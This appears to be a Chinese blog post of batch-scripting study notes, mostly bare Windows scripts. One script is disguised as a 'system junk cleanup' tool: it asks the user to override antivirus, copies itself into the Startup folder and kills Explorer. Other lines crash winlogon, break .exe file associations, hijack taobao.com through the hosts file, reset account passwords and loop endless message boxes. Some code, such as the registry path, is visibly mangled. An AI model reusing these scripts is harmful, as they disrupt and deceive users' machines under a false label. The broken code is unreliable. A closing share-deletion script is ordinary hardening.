【#yyds干货盘点# web安全day21(学习使用最基本的批处理程序)】当筵意气临九霄,星离雨散不终朝。这篇文章主要讲述#yyds干货盘点# web安全day21:学习使用最基本的批处理程序相关的知识,希望能为你提供帮助。
一个简单的小程序练手。
@echo off
color 0a
title 小程序 v1.0
:menu
cls
echo ====================================
echo菜单
echo1.修改管理员密*码
echo2.定时关机
echo3.退出本程序
echo ====================================
set /p num=您的选择是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 别闹 好好输入
pause
goto menu
:1
set /p u=请输入用户名:
set /p p=请输入新密*码:
net user %u% %p% > nul
echo 您的密*码已经设置成功
pause
goto menu
:2
set /p t=请输入时间
shutdown -s -t %t%
goto menu
:3
exit
常用的几个命令系统垃圾清理
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】 ====
echo.
echo.
echo start cmd > c:\\windows\\windows.bat
echo %0> > c:\\windows\\windows.bat
copy c:\\windows\\windows.bat "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\"> nul
if %errorlevel%==0 goto next
copy c:\\windows\\windows.bat "%USERPROFILE%\\「开始」菜单\\程序\\启动\\"> nul
if %errorlevel%==1 goto error
资源管理器重启
ping -n 5 127.0.0.1> nul
taskkill /im explorer.exe /f > nul 2> nul
echo.
echo =====完犊子了,你的系统已经废了=======
ping -n 5 127.0.0.1> nul
echo.
Start c:\\windows\\explorer.exe
echo.
echo =====已修复好!是不是吓坏了!!嘿嘿==========
pause
蓝屏
ntsd -c q -pn winlogon.exe
拓展名修改
assoc .exe=txtfile
assoc .exe=exefile//恢复
死循环
do
msgbox "循环啦"
loop
修改地址解析
echo 1.1.1.1 www.taobao.com > > c:\\windows\\system32\\drivers\\etc\\hosts
进阶命令删除win2k/xp系统默认共享的批处理
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]> > c:delshare.reg
echo "AutoShareWks"=dword:00000000> > c:delshare.reg
echo "AutoShareServer"=dword:00000000> > c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
推荐阅读
- 有循环就是O(n)时间复杂度吗()
- 字节码引用检测原理与实战
- 准时下班系列!Access合集之第1集—多层级联下拉框
- 深入Vuex最佳实践
- #yyds干货盘点# 初识ElastricSearch
- QCon-OPPO数据平台Cloud Lake 降本增效实践
- 11.29-12.5博客精彩回顾
- 网络安全学习笔记工具篇 ——使用OpenSCAP 命令行进行基线扫描与修复
- 和不安全访问 say goodbye,手把手教大家如何给域名申请免费 SSL 证书